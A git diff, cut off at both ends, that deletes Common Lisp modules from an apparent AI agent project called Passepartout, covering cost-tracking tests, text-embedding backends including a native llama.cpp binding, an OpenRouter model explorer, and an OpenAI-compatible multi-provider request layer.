(cost-session-calls)))) - -(test test-cost-format-budget-status - "Contract 4: format-budget-status returns a string." - (cost-session-reset) - (cost-track-call :deepseek "hello world") - (let ((status (cost-format-budget-status 100))) - (is (stringp status)) - (is (search "$" status)))) - -(test test-cost-by-provider - "Contract: cost-by-provider returns per-provider breakdown." - (cost-session-reset) - (cost-track-call :deepseek "a") - (cost-track-call :groq "b") - (let ((by (cost-by-provider))) - (is (listp by)) - (is (assoc :deepseek by)) - (is (assoc :groq by)))) - -(test test-cost-track-no-response - "Contract 1: cost-track-call works without response-text." - (cost-session-reset) - (let ((cost (cost-track-call :deepseek "test"))) - (is (> cost 0.0)))) - -(test test-cost-session-summary - "Contract 5: cost-session-summary returns plist with total, calls, by-provider." - (cost-session-reset) - (cost-track-call :deepseek "hello") - (cost-track-call :groq "world") - (let ((s (cost-session-summary))) - (is (> (getf s :total) 0.0)) - (is (= 2 (getf s :calls))) - (let ((by (getf s :by-provider))) - (is (assoc :deepseek by)) - (is (assoc :groq by))))) diff --git a/lisp/embedding-backends.lisp b/lisp/embedding-backends.lisp deleted file mode 100644 index 6c765ed..0000000 --- a/lisp/embedding-backends.lisp +++ /dev/null @@ -1,242 +0,0 @@ -(in-package :passepartout) - -(defvar *embedding-provider* :trigram - "Active embedding provider: :trigram, :sha256, :local, :openai, :native.") - -(defvar *embedding-queue* nil - "Queue of text objects awaiting embedding.") - -(defvar *embedding-batch-size* 10 - "Maximum texts per embedding API call.") - -(defun embedding-backend-local (text) - "Generate embeddings via a local OpenAI-compatible endpoint." - (let* ((url (or (uiop:getenv "LOCAL_BASE_URL") (format nil "http://~a" (or (uiop:getenv "OLLAMA_HOST") "localhost:11434")))) - (model (or (uiop:getenv "EMBEDDING_MODEL") "nomic-embed-text")) - (body (cl-json:encode-json-to-string - `((model . ,model) (input . ,text))))) - (handler-case - (let* ((response (dex:post (format nil "~a/api/embeddings" url) - :headers '(("Content-Type" . "application/json")) - :content body :connect-timeout 5 :read-timeout 30)) - (json (cl-json:decode-json-from-string response)) - (data (car (cdr (assoc :data json))))) - (or (cdr (assoc :embedding data)) - (list :error "No embedding in response"))) - (error (c) - (list :error (format nil "Embedding failed: ~a" c)))))) - -(defun embedding-backend-openai (text) - "Generate embeddings via OpenAI compatible /v1/embeddings endpoint." - (let* ((api-key (uiop:getenv "OPENAI_API_KEY")) - (base-url (or (uiop:getenv "EMBEDDING_BASE_URL") "https://api.openai.com/v1")) - (model (or (uiop:getenv "EMBEDDING_MODEL") "text-embedding-3-small")) - (body (cl-json:encode-json-to-string - `((model . ,model) (input . ,text))))) - (handler-case - (let* ((response (dex:post (format nil "~a/embeddings" base-url) - :headers `(("Content-Type" . "application/json") - ("Authorization" . ,(format nil "Bearer ~a" api-key))) - :content body :connect-timeout 5 :read-timeout 30)) - (json (cl-json:decode-json-from-string response)) - (data (car (cdr (assoc :data json))))) - (or (cdr (assoc :embedding data)) - (list :error "No embedding in response"))) - (error (c) - (list :error (format nil "OpenAI Embedding failed: ~a" c)))))) - -(defun embedding-backend-sha256 (text) - "SHA-256 based vector — integrity only, no semantic retrieval capability. -For environments where even trivial computation is undesirable." - (let* ((digest (ironclad:digest-sequence :sha256 (babel:string-to-octets text))) - (vec (make-array 8 :element-type 'single-float :initial-element 0.0))) - (dotimes (i (min (length digest) 8)) - (setf (aref vec i) (float (/ (aref digest i) 255.0) 0.0))) - vec)) - -(defun embedding-backend-hashing (text) - "Backward-compatibility alias for SHA-256 hashing." - (embedding-backend-sha256 text)) - -(defun embedding-backend-trigram (text) - "Trigram bloom filter — captures lexical overlap for semantic retrieval. -Returns a 128-dim float vector where each position corresponds to a trigram hash. -Pure Lisp, zero external dependencies, works fully offline." - (let* ((s (string-trim '(#\Space #\Newline #\Tab) (string-downcase text))) - (trigrams (make-hash-table :test 'equal)) - (result (make-array 128 :element-type 'single-float :initial-element 0.0))) - (when (>= (length s) 3) - (loop for i from 0 to (- (length s) 3) - for tri = (subseq s i (+ i 3)) - do (setf (gethash tri trigrams) t))) - (maphash (lambda (tri _) (declare (ignore _)) - (setf (aref result (mod (sxhash tri) 128)) 1.0)) - trigrams) - result)) - -(defvar *embedding-backend* nil - "Explicit backend override (nil = use *embedding-provider*).") - -(defun embeddings-compute (text) - "Compute an embedding vector for text using the active backend." - (embed-object text)) - -(defun embed-object (text) - "Embed a single text string using the active backend." - (let* ((selected (or *embedding-backend* *embedding-provider* :trigram)) - (backend (case selected - (:local #'embedding-backend-local) - (:openai #'embedding-backend-openai) - (:native - (unless (fboundp 'embedding-backend-native) - (embedding-native-ensure-loaded)) - #'embedding-backend-native) - (:sha256 #'embedding-backend-sha256) - (t #'embedding-backend-trigram)))) - (if backend - (progn - (log-message "EMBEDDING: Provider ~a, backend=~a" selected backend) - (funcall backend text)) - (progn - (log-message "EMBEDDING: No backend for provider ~a, using hashing" selected) - (embedding-backend-hashing text))))) - -(defun embed-queue-object (object) - "Queue a text object for async embedding." - (push object *embedding-queue*) - (log-message "EMBEDDING: Queued object")) - -(defun embed-all-pending () - "Drain the embedding queue, store vectors in the store-keyed objects." - (let ((batch (nreverse *embedding-queue*))) - (setf *embedding-queue* nil) - (dolist (item batch) - (handler-case - (let ((id (getf item :id)) - (text (getf item :text))) - (when (and id text) - (let ((vec (embeddings-compute text)) - (obj (gethash id *memory-store*))) - (when (and obj vec (not (listp vec))) - (setf (memory-object-vector obj) vec)) - (log-message "EMBEDDING: Computed vector for ~a (~d dims)" id (length vec))))) - (error (c) - (log-message "EMBEDDING: Failed to embed object: ~a" c)))))) - -;; Apply env var override at load time -(let ((provider-env (uiop:getenv "EMBEDDING_PROVIDER"))) - (when provider-env - (let ((kw (intern (string-upcase provider-env) :keyword))) - (setf *embedding-provider* kw) - (log-message "EMBEDDING: Set provider to ~a from EMBEDDING_PROVIDER env" kw)))) - -(defun embedding-native-ensure-loaded () - "Lazy-load the native CFFI backend. First call blocks ~30s for model init." - (when (fboundp 'embedding-backend-native) - (return-from embedding-native-ensure-loaded t)) - (let* ((data-dir (uiop:ensure-directory-pathname - (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") - (namestring (merge-pathnames ".local/share/passepartout/" - (user-homedir-pathname)))))) - (native-file (merge-pathnames "lisp/embedding-native.lisp" data-dir))) - (handler-case - (progn - (load native-file :verbose nil :print nil) - (log-message "EMBEDDING: Native backend loaded from ~a" native-file)) - (error (c) - (error "Failed to load native embedding backend (~a): ~a" native-file c))))) - -;; Preload native model if configured at startup -(when (eq *embedding-provider* :native) - (log-message "EMBEDDING: Native provider configured, preloading model...") - (embedding-native-ensure-loaded) - (handler-case - (progn - (embedding-native-load-model) - (log-message "EMBEDDING: Native model preloaded (~d dims)" - (embedding-native-get-dim))) - (error (c) - (log-message "EMBEDDING: Preload deferred: ~a (will retry on first call)" c)))) - -(log-message "EMBEDDING: Gateway loaded with provider ~a" *embedding-provider*) - -(defun mark-vector-stale (id &optional content) - "Mark a memory object's vector as :pending and queue it for re-embedding. -When content is not supplied, reads from the object in *memory-store*." - (let* ((obj (gethash id *memory-store*)) - (text (or content (and obj (memory-object-content obj))))) - (when obj - (setf (memory-object-vector obj) :pending)) - (when text - (push (list :id id :text text) *embedding-queue*) - (log-message "EMBEDDING: Marked ~a vector stale, queued for re-embed" id)) - (or obj text))) - -(defskill :passepartout-embedding-backends - :priority 70 - :trigger (lambda (ctx) (declare (ignore ctx)) nil)) - -;; Register periodic batch embedding via cron (when orchestrator available) -(when (fboundp 'orchestrator-register-cron) - (handler-case - (orchestrator-register-cron :embed-batch - "<2026-05-05 Tue +10m>" - 'embed-all-pending - :reflex) - (error (c) - (log-message "EMBEDDING: Cron registration failed: ~a" c)))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-embedding-tests - (:use :cl :passepartout) - (:export #:embedding-suite)) - -(in-package :passepartout-embedding-tests) - -(fiveam:def-suite embedding-suite :description "Embedding gateway verification") -(fiveam:in-suite embedding-suite) - -(fiveam:test test-embedding-backend-hashing - "Contract 2: hashing backend produces 8-element float vector." - (let ((vec (embedding-backend-hashing "hello world"))) - (fiveam:is (arrayp vec)) - (fiveam:is (= 8 (length vec))) - (fiveam:is (every #'numberp (coerce vec 'list))))) - -(fiveam:test test-embedding-backend-hashing-deterministic - "Contract 2: same input produces same vector." - (let ((v1 (embedding-backend-hashing "test")) - (v2 (embedding-backend-hashing "test"))) - (fiveam:is (equalp v1 v2)))) - -(fiveam:test test-embeddings-compute - "Contract 1: embeddings-compute returns a float vector." - (let ((vec (embeddings-compute "some text"))) - (fiveam:is (arrayp vec)) - (fiveam:is (> (length vec) 0)))) - -(fiveam:test test-embed-queue-and-drain - "Contract 3: embed-all-pending drains queue and stores vectors." - (let ((*embedding-queue* nil)) - (embed-queue-object '(:id "test-obj" :text "sample text")) - (fiveam:is (= 1 (length *embedding-queue*))) - (embed-all-pending) - (fiveam:is (null *embedding-queue*)))) - -(fiveam:test test-mark-vector-stale - "Contract 4: mark-vector-stale sets vector to :pending and queues for re-embed." - (let ((*embedding-queue* nil)) - ;; Create an object in memory with a vector - (let ((obj (make-memory-object :id "stale-test" :content "stale content" - :vector #(1.0 2.0 3.0)))) - (setf (gethash "stale-test" *memory-store*) obj) - (mark-vector-stale "stale-test") - (fiveam:is (eq :pending (memory-object-vector obj))) - (fiveam:is (= 1 (length *embedding-queue*))) - (let ((item (first *embedding-queue*))) - (fiveam:is (string= "stale-test" (getf item :id))) - (fiveam:is (string= "stale content" (getf item :text)))) - ;; Clean up - (remhash "stale-test" *memory-store*)))) diff --git a/lisp/embedding-native.lisp b/lisp/embedding-native.lisp deleted file mode 100644 index 1dafea5..0000000 --- a/lisp/embedding-native.lisp +++ /dev/null @@ -1,228 +0,0 @@ -(unless (find-package :passepartout) - (make-package :passepartout :use '(:cl))) - -(in-package :passepartout) - -(cffi:define-foreign-library libllama_wrap (:unix "/usr/local/lib/libllama_wrap.so")) -(cffi:use-foreign-library libllama_wrap) -(cffi:define-foreign-library libllama (:unix "/usr/local/lib/libllama.so")) -(cffi:use-foreign-library libllama) - -(cffi:defcstruct (llama-mparams :size 72) - (devices :pointer) (tensor-buft :pointer) (n-gpu-layers :int32) - (split-mode :int32) (main-gpu :int32) (_pad1 :int32) - (tensor-split :pointer) (progress-cb :pointer) (progress-data :pointer) - (kv-overrides :pointer) (vocab-only :bool) (use-mmap :bool) - (_pad2 :uint8 :count 6)) - -(cffi:defcstruct (llama-cparams :size 136) - (n-ctx :uint32) - (n-batch :uint32) - (n-ubatch :uint32) - (n-seq-max :uint32) - (n-threads :int32) - (n-threads-batch :int32) - (rope-scaling-type :int32) - (pooling-type :int32) - (attention-type :int32) - (flash-attn-type :int32) - (rope-freq-base :float) - (rope-freq-scale :float) - (yarn-ext-factor :float) - (yarn-attn-factor :float) - (yarn-beta-fast :float) - (yarn-beta-slow :float) - (yarn-orig-ctx :uint32) - (defrag-thold :float) - (cb-eval :pointer) - (cb-eval-user-data :pointer) - (type-k :int32) - (type-v :int32) - (abort-callback :pointer) - (abort-callback-data :pointer) - (embeddings :bool) - (offload-kqv :bool) - (no-perf :bool) - (op-offload :bool) - (swa-full :bool) - (kv-unified :bool) - (_c-pad3 :uint8 :count 15)) - -(cffi:defcstruct (llama-batch :size 56) - (n-tokens :int32) (_bpad1 :int32) (token :pointer) (embd :pointer) - (pos :pointer) (n-seq-id :pointer) (seq-id :pointer) (logits :pointer)) - -;; llama.cpp public API -(cffi:defcfun ("llama_backend_init" bl) :void) -(cffi:defcfun ("llama_model_default_params" mdp) :void (p :pointer)) -(cffi:defcfun ("llama_context_default_params" cdp) :void (p :pointer)) -(cffi:defcfun ("llama_model_n_embd" ne) :int32 (m :pointer)) -(cffi:defcfun ("llama_model_get_vocab" gv) :pointer (m :pointer)) -(cffi:defcfun ("llama_vocab_n_tokens" vnt) :int32 (vocab :pointer)) -(cffi:defcfun ("llama_tokenize" tok) :int32 (vocab :pointer) (text :string) (len :int32) (tokens :pointer) (n-max :int32) (add-special :bool) (parse-special :bool)) -(cffi:defcfun ("llama_get_embeddings_ith" embd-ith) :pointer (ctx :pointer) (i :int32)) -(cffi:defcfun ("llama_get_embeddings_seq" embd-seq) :pointer (ctx :pointer) (seq-id :int32)) -(cffi:defcfun ("llama_pooling_type" get-pooling) :int32 (ctx :pointer)) -(cffi:defcfun ("llama_model_free" fm) :void (m :pointer)) -(cffi:defcfun ("llama_free" fc) :void (ctx :pointer)) - -;; C wrapper (bridges struct-by-value ABI) -(cffi:defcfun ("llama_wrap_model_load" wrap-load) :pointer (path :string) (params :pointer)) -(cffi:defcfun ("llama_wrap_new_context" wrap-ctx) :pointer (model :pointer) (params :pointer)) -(cffi:defcfun ("llama_wrap_encode" wrap-encode) :int32 (ctx :pointer) (batch :pointer)) -(cffi:defcfun ("llama_wrap_batch_init" wrap-batch-init) :void (batch :pointer) (n-tokens :int32) (embd :int32) (n-seq-max :int32)) -(cffi:defcfun ("llama_wrap_batch_free" wrap-batch-free) :void (batch :pointer)) - -(defvar *native-model* nil - "Cached llama.cpp model for embedding inference.") - -(defvar *native-context* nil - "Cached llama.cpp context for embedding inference.") - -(defvar *native-vocab* nil - "Cached llama.cpp vocab handle (from model).") - -(defvar *native-model-path* - (merge-pathnames ".local/share/passepartout/models/nomic-embed-text-v1.5.Q4_K_M.gguf" - (user-homedir-pathname)) - "Path to the bundled embedding model GGUF file.") - -(defun embedding-native-load-model () - "Load the embedding model and create a context. Caches globally." - (unless (and *native-model* *native-context*) - (unless (uiop:file-exists-p *native-model-path*) - (error "Native embedding model not found at ~a" *native-model-path*)) - (sb-int:set-floating-point-modes :traps '()) - (bl) - ;; Load model - (cffi:with-foreign-object (mp '(:struct llama-mparams)) - (mdp mp) - (setf (cffi:foreign-slot-value mp '(:struct llama-mparams) 'n-gpu-layers) 0) - (setf (cffi:foreign-slot-value mp '(:struct llama-mparams) 'use-mmap) 0) - (setf *native-model* (wrap-load (namestring *native-model-path*) mp))) - (setf *native-vocab* (gv *native-model*)) - ;; Create context - (let ((n-embd (ne *native-model*))) - (cffi:with-foreign-object (cp '(:struct llama-cparams)) - (cdp cp) - (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-ctx) 512) - (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-batch) 512) - (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-ubatch) 512) - (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-seq-max) 1) - (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-threads) 2) - (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'embeddings) 1) - (setf *native-context* (wrap-ctx *native-model* cp))) - (format *error-output* "~&;; EMBEDDING: Native model loaded (~d-dim)~%" n-embd))) - (values *native-model* *native-context* *native-vocab*)) - -(defun embedding-backend-native (text) - "Compute an embedding vector using the native llama.cpp backend. -Returns a simple-vector of single-floats (dimension: n_embd, typically 768)." - (embedding-native-load-model) - (let* ((n-embd (ne *native-model*)) - (max-tokens 256) - (tokens (cffi:foreign-alloc :int32 :count max-tokens)) - (n-tok 0)) - (unwind-protect - (progn - (setf n-tok (tok *native-vocab* text (length text) tokens max-tokens t t)) - (when (zerop n-tok) - (error "Native embedding: tokenization returned 0 tokens for ~s" text)) - (let ((result (make-array n-embd :element-type 'single-float :initial-element 0.0f0))) - (cffi:with-foreign-object (batch '(:struct llama-batch)) - (wrap-batch-init batch n-tok 0 1) - (setf (cffi:foreign-slot-value batch '(:struct llama-batch) 'n-tokens) n-tok) - (dotimes (i n-tok) - (setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'token) :int32 i) - (cffi:mem-aref tokens :int32 i)) - (setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'pos) :int32 i) i) - (setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'n-seq-id) :int32 i) 1) - (setf (cffi:mem-aref (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'seq-id) :pointer i) :int32 0) 0) - (setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'logits) :int8 i) 1)) - (let ((enc (wrap-encode *native-context* batch))) - (unless (zerop enc) - (error "Native embedding: encode returned ~d" enc))) - (let* ((pooling (get-pooling *native-context*)) - (eptr (if (= pooling 0) - (embd-ith *native-context* (1- n-tok)) - (embd-seq *native-context* 0)))) - (dotimes (i n-embd) - (setf (aref result i) (cffi:mem-aref eptr :float i)))) - (wrap-batch-free batch)) - result)) - (cffi:foreign-free tokens)))) - -(defun embedding-native-unload () - "Release native model and context memory." - (when *native-context* - (fc *native-context*) - (setf *native-context* nil)) - (when *native-model* - (fm *native-model*) - (setf *native-model* nil *native-vocab* nil)) - (values)) - -(defun embedding-native-get-dim () - "Return embedding dimension of loaded native model (0 if not loaded)." - (if *native-model* - (ne *native-model*) - 0)) - -(defun vector-cosine-similarity (a b) - "Cosine similarity between two simple-vectors of single-floats." - (let ((dot 0.0d0) (anorm 0.0d0) (bnorm 0.0d0)) - (dotimes (i (length a)) - (let ((af (float (aref a i) 0.0d0)) - (bf (float (aref b i) 0.0d0))) - (incf dot (* af bf)) - (incf anorm (* af af)) - (incf bnorm (* bf bf)))) - (if (or (zerop anorm) (zerop bnorm)) - 0.0d0 - (/ dot (sqrt (* anorm bnorm)))))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-embedding-native-tests - (:use :cl :fiveam :passepartout) - (:export #:embedding-native-suite)) - -(in-package :passepartout-embedding-native-tests) - -(def-suite embedding-native-suite :description "Verification of Native Embedding Inference") -(in-suite embedding-native-suite) - -(test test-native-embedding-available - "Contract v0.4.1: backend function exists and model file is present." - (is (fboundp 'passepartout::embedding-backend-native)) - (is (uiop:file-exists-p passepartout::*native-model-path*))) - -(test test-native-embedding-loads - "Contract v0.4.1: model loads and produces a valid context." - (finishes (passepartout::embedding-native-load-model))) - -(test test-native-embedding-dimensions - "Contract v0.4.1: embedding produces correct-dimensional vector." - (let ((vec (passepartout::embedding-backend-native "test sentence"))) - (is (vectorp vec)) - (is (= (length vec) 768)) - (is (typep (aref vec 0) 'single-float)))) - -(test test-native-embedding-identical - "Contract v0.4.1: identical texts produce identical embeddings." - (let ((v1 (passepartout::embedding-backend-native "hello world")) - (v2 (passepartout::embedding-backend-native "hello world"))) - (is (= (length v1) (length v2))) - (let ((sim (passepartout::vector-cosine-similarity v1 v2))) - (is (> sim 0.9999))))) - -(test test-native-embedding-similar - "Contract v0.4.1: semantically similar texts are closer than unrelated." - (let ((v-auth (passepartout::embedding-backend-native "implement user login form")) - (v-related (passepartout::embedding-backend-native "add password authentication")) - (v-unrelated (passepartout::embedding-backend-native "banana fruit yellow"))) - (let ((sim-related (passepartout::vector-cosine-similarity v-auth v-related)) - (sim-unrelated (passepartout::vector-cosine-similarity v-auth v-unrelated))) - (is (> sim-related 0.5)) - (is (> sim-related sim-unrelated))))) diff --git a/lisp/neuro-explorer.lisp b/lisp/neuro-explorer.lisp deleted file mode 100644 index decccdb..0000000 --- a/lisp/neuro-explorer.lisp +++ /dev/null @@ -1,109 +0,0 @@ -(in-package :passepartout) - -(defvar *model-cache* (make-hash-table :test 'equal) - "Cache: provider keyword -> (timestamp . model-list)") - -(defvar *model-cache-ttl* 300 - "Cache TTL in seconds (default 5 min)") - -(defun model-explorer-fetch-openrouter () - "Query OpenRouter /api/v1/models and return parsed model list." - (handler-case - (let* ((raw (dex:get "https://openrouter.ai/api/v1/models" :connect-timeout 10 :read-timeout 20)) - (json (cl-json:decode-json-from-string raw)) - (data (cdr (assoc :data json)))) - (mapcar (lambda (m) - (let ((pricing (cdr (assoc :pricing m)))) - (list :id (cdr (assoc :id m)) - :name (cdr (assoc :name m)) - :context (cdr (assoc :context_length m)) - :free (and pricing - (string= "0" (cdr (assoc :prompt pricing))) - (string= "0" (cdr (assoc :completion pricing))))))) - data)) - (error (c) - (log-message "MODEL-EXPLORER: OpenRouter API error: ~a" c) - nil))) - -(defun model-explorer-fetch (provider) - "Fetch available models for PROVIDER. Returns list of (:id :name :context :free) plists." - (let ((cached (gethash provider *model-cache*))) - (when (and cached (< (- (get-universal-time) (car cached)) *model-cache-ttl*)) - (return-from model-explorer-fetch (cdr cached)))) - (let ((models (case provider - (:openrouter (model-explorer-fetch-openrouter)) - (t nil)))) - (when models - (setf (gethash provider *model-cache*) - (cons (get-universal-time) models))) - models)) - -(defun model-explorer-list-free () - "Return all free models from cache or fetch." - (remove-if-not (lambda (m) (getf m :free)) (model-explorer-fetch :openrouter))) - -(defun model-explorer-recommend (slot) - "Return recommended models for SLOT (:code, :chat, :plan, :background)." - (case slot - (:code - '((:id "qwen/qwen3-coder:free" :name "Qwen3 Coder 480B" :context 262000 :free t :note "Top-tier code MoE, 35B active") - (:id "poolside/laguna-m.1:free" :name "Laguna M.1" :context 131072 :free t :note "Flagship coding agent") - (:id "openai/gpt-oss-120b:free" :name "gpt-oss-120b" :context 131072 :free t :note "117B MoE open-weight coding"))) - (:plan - '((:id "openrouter/owl-alpha" :name "Owl Alpha" :context 1048756 :free t :note "Agentic, tool use, reasoning") - (:id "nousresearch/hermes-3-llama-3.1-405b:free" :name "Hermes 3 405B" :context 131072 :free t :note "405B generalist, strong planning") - (:id "minimax/minimax-m2.5:free" :name "MiniMax M2.5" :context 196608 :free t :note "SOTA productivity, long context"))) - (:chat - '((:id "meta-llama/llama-3.3-70b-instruct:free" :name "Llama 3.3 70B" :context 65536 :free t :note "Strong multilingual generalist") - (:id "google/gemma-4-31b-it:free" :name "Gemma 4 31B" :context 262144 :free t :note "Dense 31B, thinking mode, long context") - (:id "mistralai/mistral-nemo:free" :name "Mistral Nemo" :context 32768 :free t :note "Fast, good for casual conversation"))) - (:background - '((:id "meta-llama/llama-3.2-3b-instruct:free" :name "Llama 3.2 3B" :context 131072 :free t :note "Small, fast, efficient") - (:id "liquid/lfm-2.5-1.2b-instruct:free" :name "LFM 2.5 1.2B" :context 32768 :free t :note "Ultra-compact, edge-ready"))) - (t '((:id "meta-llama/llama-3.3-70b-instruct:free" :name "Llama 3.3 70B" :context 65536 :free t :note "Safe fallback"))))) - -(defvar *slot-descriptions* - '((:code . "Code generation, refactoring, debugging. Needs strong reasoning and large context.\nRecommend: Qwen3 Coder (free, 35B active) or Laguna M.1 (coding agent).") - (:chat . "Casual conversation, Q&A, creative writing. Prefer balanced quality, low latency.\nRecommend: Llama 3.3 70B (strong generalist) or Gemma 4 31B (thinking mode).") - (:plan . "Strategic planning, architecture design, complex multi-step reasoning.\nRecommend: Owl Alpha (free, tool use, 1M ctx) or Hermes 3 405B (strongest free reasoning).") - (:background . "Heartbeat summaries, delegation responses, tool output filtering. Must be small + fast.\nRecommend: Llama 3.2 3B (131K ctx, fast) or LFM 2.5 1.2B (edge-ready)."))) - -;; REPL-verified: 2026-05-04 -(eval-when (:compile-toplevel :load-toplevel :execute) - (ignore-errors (ql:quickload :fiveam :silent t))) - -(defpackage :passepartout-neuro-explorer-tests - (:use :cl :passepartout) - (:export #:model-explorer-suite)) - -(in-package :passepartout-neuro-explorer-tests) - -(fiveam:def-suite model-explorer-suite :description "Tests for the model explorer skill") - -(fiveam:in-suite model-explorer-suite) - -(fiveam:test model-explorer-recommend-slots - "Contract 1: recommend returns models for all standard slots." - (dolist (slot '(:code :chat :plan :background)) - (let ((recs (passepartout::model-explorer-recommend slot))) - (fiveam:is (listp recs)) - (fiveam:is (>= (length recs) 1))))) - -(fiveam:test model-explorer-recommend-format - "Contract 1: each recommendation has :id and :name." - (dolist (rec (passepartout::model-explorer-recommend :chat)) - (fiveam:is (getf rec :id)) - (fiveam:is (getf rec :name)))) - -(fiveam:test model-explorer-recommend-unknown-slot - "Contract 1: unknown slot returns fallback list." - (let ((recs (passepartout::model-explorer-recommend :unknown))) - (fiveam:is (listp recs)) - (fiveam:is (>= (length recs) 1)))) - -(fiveam:test model-explorer-fetch-openrouter-count - "Contract 2: OpenRouter API returns at least 300 models." - (let ((models (passepartout::model-explorer-fetch :openrouter))) - (if models - (fiveam:is (>= (length models) 300)) - (fiveam:skip "API unreachable")))) diff --git a/lisp/neuro-provider.lisp b/lisp/neuro-provider.lisp deleted file mode 100644 index 589cf43..0000000 --- a/lisp/neuro-provider.lisp +++ /dev/null @@ -1,244 +0,0 @@ -(in-package :passepartout) - -(defparameter *provider-configs* - '((:local . (:base-url nil :key-env nil :url-env "LOCAL_BASE_URL" :default-model "llama3")) - (:openrouter . (:base-url "https://openrouter.ai/api/v1" :key-env "OPENROUTER_API_KEY" :default-model "openrouter/auto")) - (:openai . (:base-url "https://api.openai.com/v1" :key-env "OPENAI_API_KEY" :default-model "gpt-4o-mini")) - (:anthropic . (:base-url "https://api.anthropic.com/v1" :key-env "ANTHROPIC_API_KEY" :default-model "claude-3-5-sonnet-20241022")) - (:groq . (:base-url "https://api.groq.com/openai/v1" :key-env "GROQ_API_KEY" :default-model "llama-3.1-70b-versatile")) - (:gemini . (:base-url "https://generativelanguage.googleapis.com/v1beta/openai" :key-env "GEMINI_API_KEY" :default-model "gemini-2.0-flash")) - (:deepseek . (:base-url "https://api.deepseek.com/v1" :key-env "DEEPSEEK_API_KEY" :default-model "deepseek-chat")) - (:nvidia . (:base-url "https://integrate.api.nvidia.com/v1" :key-env "NVIDIA_API_KEY" :default-model "meta/llama-3.1-405b-instruct")))) - -(defun provider-config (provider) - "Returns the configuration plist for a provider keyword." - (cdr (assoc provider *provider-configs*))) - -(defun provider-available-p (provider) - "Checks if a provider is configured. Checks API key or URL env vars." - (let* ((config (provider-config provider)) - (key-env (getf config :key-env)) - (url-env (getf config :url-env)) - (base-url (getf config :base-url))) - (cond (key-env (let ((key (uiop:getenv key-env))) (and key (> (length key) 0)))) - (url-env (let ((url (uiop:getenv url-env))) (and url (> (length url) 0)))) - (base-url t)))) - -(defun provider-openai-request (prompt system-prompt &key model (provider :openrouter) tools) - "Executes a request against any OpenAI-compatible API endpoint. -When :tools is provided, includes function-calling tool definitions in the request." - (let* ((config (provider-config provider)) - (base-url (getf config :base-url)) - (key-env (getf config :key-env)) - (url-env (getf config :url-env)) - (default-model (getf config :default-model)) - (api-key (when key-env (uiop:getenv key-env))) - (model-id (or model default-model)) - (url (if url-env - (let ((host (uiop:getenv url-env))) - (if host - (format nil "http://~a/v1/chat/completions" host) - (format nil "~a/chat/completions" base-url))) - (format nil "~a/chat/completions" base-url))) - (timeout (or (ignore-errors - (parse-integer (uiop:getenv "LLM_REQUEST_TIMEOUT"))) - 30)) - (headers `(("Content-Type" . "application/json") - ,@(when api-key `(("Authorization" . ,(format nil "Bearer ~a" api-key)))) - ,@(when (eq provider :openrouter) - `(("HTTP-Referer" . "https://github.com/amrgharbeia/passepartout") - ("X-Title" . "Passepartout"))))) - (body (let ((base `((model . ,model-id) - (messages . (( (role . "system") (content . ,system-prompt) ) - ( (role . "user") (content . ,prompt) )))))) - (if tools - (append base - `((tools . ,(loop for tool in tools - collect (list (cons :|type| "function") - (cons :|function| (loop for (k v) on tool by #'cddr - collect (cons (intern (string-upcase (string k)) "KEYWORD") v)))))) - (:|tool_choice| . "auto"))) - base))) - (body-json (cl-json:encode-json-to-string body))) - (handler-case - (let* ((response (dex:post url :headers headers :content body-json - :connect-timeout (min 5 timeout) - :read-timeout (max 10 (- timeout 5)))) - (json (cl-json:decode-json-from-string response)) - (choices (cdr (assoc :choices json))) - (first-choice (car choices)) - (message (cdr (assoc :message first-choice))) - (tool-calls (cdr (assoc :|tool_calls| message))) - (content (cdr (assoc :content message)))) - (cond - (tool-calls - (list :status :success - :tool-calls - (loop for tc in tool-calls - for fun = (cdr (assoc :|function| tc)) - for args-str = (cdr (assoc :|arguments| fun)) - for args = (when args-str (cl-json:decode-json-from-string args-str)) - collect (list :name (cdr (assoc :|name| fun)) - :arguments args)))) - (content - (list :status :success :content content)) - (t - (list :status :error :message (format nil "~a: No content" provider))))) - (error (c) - (list :status :error :message (format nil "~a Failure: ~a" provider c)))))) - -(defun provider-register-all () - "Scans environment variables and registers all available LLM backends." - (dolist (entry *provider-configs*) - (let ((provider (car entry))) - (when (provider-available-p provider) - (log-message "LLM BACKEND: Registering provider ~a" provider) - (register-probabilistic-backend provider - (lambda (prompt system-prompt &key model tools) - (provider-openai-request prompt system-prompt :model model :provider provider :tools tools))))))) - -(defun provider-cascade-initialize () - "Reads PROVIDER_CASCADE from env and sets *provider-cascade*." - (let ((cascade-str (uiop:getenv "PROVIDER_CASCADE"))) - (if cascade-str - (setf *provider-cascade* - (mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space #\" #\') s)) :keyword)) - (uiop:split-string cascade-str :separator '(#\,)))) - (setf *provider-cascade* (mapcar #'car (remove-if (lambda (e) - (member (car e) '(:local))) - *provider-configs*)))))) - -(defun test-provider-connection (provider &optional api-key) - "Test a provider API key by hitting its models endpoint. -Returns (:ok) on success, (:fail reason) on failure. -If API-KEY is nil, reads from environment." - (let* ((config (provider-config provider)) - (base-url (getf config :base-url)) - (key-env (getf config :key-env)) - (url-env (getf config :url-env)) - (key (or api-key (when key-env (uiop:getenv key-env))))) - (handler-case - (let ((url (if url-env - (let ((host (or (uiop:getenv url-env) ""))) - (format nil "http://~a/api/tags" host)) - (format nil "~a/models" (or base-url ""))))) - (if key-env - (progn (dex:get url :headers `(("Authorization" . ,(format nil "Bearer ~a" key))) - :connect-timeout 5 :read-timeout 10) - '(:ok)) - (if url-env - (progn (dex:get url :connect-timeout 5 :read-timeout 10) '(:ok)) - '(:fail "No URL source for this provider")))) - (error (c) `(:fail 